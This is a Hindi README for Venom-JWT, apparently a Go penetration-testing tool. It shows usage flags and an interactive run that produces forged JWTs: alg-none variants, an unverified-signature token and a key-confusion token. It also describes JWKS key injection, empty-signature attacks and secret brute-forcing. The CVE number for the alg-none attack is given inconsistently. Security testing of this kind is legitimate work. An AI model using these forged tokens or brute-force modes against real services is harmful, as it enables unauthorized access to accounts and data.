
JWT में सेंध लगाने के लिए विकसित भेद्यता सत्यापन/कुंजी ब्रूट-फोर्स टूल, CVE-2015-9235/खाली कुंजी/असत्यापित हस्ताक्षर हमला/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042 के परिणामों का उपयोग FUZZ के लिए करता है, और शब्दकोश/वर्ण गणना (JJWT सहित) के माध्यम से भी ब्रूट-फोर्स (JWT Crack) किया जा सकता है।
गंभीर घोषणा: दस्तावेज़ में उल्लिखित तकनीक, विचार और उपकरण केवल सुरक्षा उद्देश्यों के लिए सीखने और आदान-प्रदान के लिए हैं, कोई भी व्यक्ति उनका उपयोग अवैध उद्देश्यों या लाभ कमाने के लिए नहीं करेगा, अन्यथा परिणाम स्वयं वहन करेंगे।
JWT भेदन के लिए विकसित कमजोरी सत्यापन/कुंजी ब्रूट-फोर्स उपकरण, CVE-2015-9235/असत्यापित हस्ताक्षर हमला/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042 के परिणाम FUZZ के लिए उत्पन्न करता है, इसके अलावा शब्दकोश या वर्ण गणना विधि का उपयोग करके ब्रूट-फोर्स भी किया जा सकता है।उपकरण परिचय · उपयोग निर्देश · सावधानियां · तकनीकी आदान-प्रदान
कंपनी के प्रोजेक्ट भेदन परीक्षण के दौरान, अक्सर फ्रंट-एंड और बैक-एंड को अलग करने वाले प्रोजेक्ट में JWT को टोकन के रूप में प्राधिकरण जांच के लिए उपयोग किया जाता है। सामान्यतः jwt-tool जैसे उपकरणों का उपयोग किया जा सकता है, लेकिन फिर भी एक ही बार में काम नहीं होता, इसलिए मैंने Go का उपयोग करके एक ही बार में JWT भेदन सहायक उपकरण विकसित किया है, जो सभी को प्राधिकरण उल्लंघन परीक्षण में मदद करेगा।
इस उपकरण के अनुप्रयोग परिदृश्य क्या हैं:
इस उपकरण के लाभ क्या हैं:
# पैकेजिंग
go mod tidy
cd cmd
go build.
# कमांड लाइन रन
.\cmd.exe -h
Usage of C:\Users\xxx\Venom-JWT\cmd\cmd.exe:
-df string
क्या फ़ाइल में payload का उपयोग करना है, डिफ़ॉल्ट खाली रोल बिल्ट-इन डिक्शनरी (बाइंड मोड 2) का उपयोग करता है, मोड 3 खाली नहीं (बाइंड मोड 3)
-em int
secret एन्क्रिप्शन मोड NONE/MD5/16-bit MD5/BASE64 (डिफ़ॉल्ट ALL=>0, NONE=>1, MD5=>2, 16-bit MD5=>3, BASE64)
-fs string
ब्रूट-फोर्स के लिए डिफ़ॉल्ट डिक्शनरी, अनुमान के नियमों के अनुसार स्वयं संशोधित किया जा सकता है (-fz अंकों के साथ उपयोग करें) (डिफ़ॉल्ट "abcdefghijklmnopqrstuvwxyz0123456789")
-fz int
वर्ण ब्रूट-फोर्स के लिए अधिकतम वर्ण संख्या (यदि वर्ण ब्रूट-फोर्स में अंक निर्दिष्ट करना है तो -fz)
-jbc string
संशोधित करने के लिए JWT body
-jm int
मोड 1: (अज्ञात Secret) Payload संशोधित कर प्राधिकरण उल्लंघन परीक्षण मोड 2: (पहले मोड 1 का परीक्षण करें) PayloadFuzz प्राधिकरण उल्लंघन परीक्षण मोड 3: secret टेक्स्ट ब्रूट-फोर्स मोड 4: secret वर्ण ब्रूट-फोर्स (यदि वर्ण ब्रूट-फोर्स में अंक निर्दिष्ट करना है तो -fz) मोड 5: JWT के Secret का सत्यापन (डिफ़ॉल्ट 1)
-jwt.txt string
JWT स्ट्रिंग
-mz int
वर्ण ब्रूट-फोर्स के लिए न्यूनतम वर्ण संख्या (यदि वर्ण ब्रूट-फोर्स में अंक निर्दिष्ट करना है तो -mz), डिफ़ॉल्ट 1 (डिफ़ॉल्ट 1)
-pem string
सार्वजनिक कुंजी pem का पथ (सर्वोत्तम निरपेक्ष पथ)
-pt int
मोड चयन: 0 डिफ़ॉल्ट सभी निष्पादित करें, 1 alg को none में संशोधित करें (CVE-2015-2951), 2 अप्रमाणित हस्ताक्षर के कारण प्राधिकरण उल्लंघन, 3 असममित क्रिप्टोग्राफिक एल्गोरिथम को सममित क्रिप्टोग्राफिक एल्गोरिथम में संशोधित करें (CVE-2016-10555) 4 JWKS सार्वजनिक कुंजी इंजेक्शन - नकली कुंजी (CVE-2018-0114) 5 खाली हस्ताक्षर (CVE-2020-28042)
-s string
ज्ञात Secret, डिफ़ॉल्ट खाली
# इंटरैक्टिव रन
.\cmd.exe
? 【प्रारंभिक चयन】 अज्ञात secret के मामले में JWT संशोधित कर प्राधिकरण उल्लंघन परीक्षण, कृपया मोड चुनें:
[·] [Use arrows to move, type to filter]
> मोड 1: (अज्ञात Secret) Payload संशोधित कर प्राधिकरण उल्लंघन परीक्षण
मोड 2: (पहले मोड 1 का परीक्षण करें) PayloadFuzz प्राधिकरण उल्लंघन परीक्षण
मोड 3: secret टेक्स्ट ब्रूट-फोर्स
मोड 4: secret वर्ण ब्रूट-फोर्स
मोड 5: JWT के Secret का सत्यापन
? कृपया अपनी JWT स्ट्रिंग दर्ज करें:
[·] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
[+]JWT Header: {"alg":"HS256","typ":"JWT"}
JWT Payload: {"iss":"admin","iat":1701375177,"exp":1701382377,"nbf":1701375177,"sub":"user","jti":"a01707f44f7df8b5cbe5e129a0f5c311"}
JWT Signature: 563a9ae6f62ff6e454aa2690a6c0f196cc067cae67dae980a7e36b634a77f5b8
? 【मोड 1】【मोड 2】 अज्ञात secret के मामले में JWT संशोधित कर प्राधिकरण उल्लंघन परीक्षण, कृपया विशिष्ट परीक्षण मोड चुनें:
[·] [Use arrows to move, type to filter]
> मोड 0: डिफ़ॉल्ट सभी निष्पादित करें
मोड 1: alg को none में संशोधित करें (CVE-2015-2951)
मोड 2: अप्रमाणित हस्ताक्षर के कारण प्राधिकरण उल्लंघन
मोड 3: असममित क्रिप्टोग्राफिक एल्गोरिथम को सममित क्रिप्टोग्राफिक एल्गोरिथम में संशोधित करें (CVE-2016-10555)
मोड 4: JWKS सार्वजनिक कुंजी इंजेक्शन - नकली कुंजी (CVE-2018-0114)
मोड 5: खाली हस्ताक्षर (CVE-2020-28042)
? आपने 【मोड 1】【मोड 2】【मोड 5】 में JWT के दूसरे भाग Payload के JSON स्ट्रिंग को संशोधित कर प्राधिकरण उल्लंघन परीक्षण करना चुना है, कृपया पिछले चरण से Payload भाग कॉपी कर संशोधित करने के बाद यहाँ दर्ज करें:
【मोड 1】【मोड 5】 उदाहरण: {"username":"admin","role":"admin"}
【मोड 2】 उदाहरण: {"usernmae":"admin","role":"FUZZ"}
कृपया ध्यान दें कि 【मोड 2】 में FUZZ वह स्थान है जहाँ शब्दकोश प्रतिस्थापन होता है, यदि संशोधित नहीं करना है तो एंटर दबा सकते हैं, डिफ़ॉल्ट में मूल Payload का उपयोग होगा।
? कृपया आपके द्वारा एकत्रित सार्वजनिक कुंजी pem का फ़ाइल पथ दर्ज करें (सर्वोत्तम निरपेक्ष पथ)
[·] C:\Users\15403\Desktop\Venom-JWT\public_key.pem
==============बिना secret के Payload संशोधित कर प्राधिकरण उल्लंघन परीक्षण===========
① अधिकांश मामलों में जब alg HS256 होता है, तो JWT को none में बदला जा सकता है (CVE-2015-9235)
[+]【alg none】: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg None】: eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg NoNe】: eyJhbGciOiJOb05lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg NONE】: eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
② अप्रमाणित हस्ताक्षर हमला: Payload संशोधित करें, सत्यापन न करें
[+]【अमान्य हस्ताक्षर हमला】: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
③ असममित क्रिप्टोग्राफिक एल्गोरिथम को सममित क्रिप्टोग्राफिक एल्गोरिथम में संशोधित करें (CVE-2016-10555) हमला
[+] 【असममित क्रिप्टोग्राफिक एल्गोरिथम को सममित में संशोधित करें】:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiIiLCJraWQiOiIiLCJ1c2UiOiIiLCJuIjoiIiwiZSI6IiJ9fQ.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.h3V6ZHHJ3tt080xFLsA4U1_Z0VT8wkLQD9I2miqIeE0
④ JWKS सार्वजनिक कुंजी इंजेक्शन - नकली कुंजी (CVE-2018-0114) हमला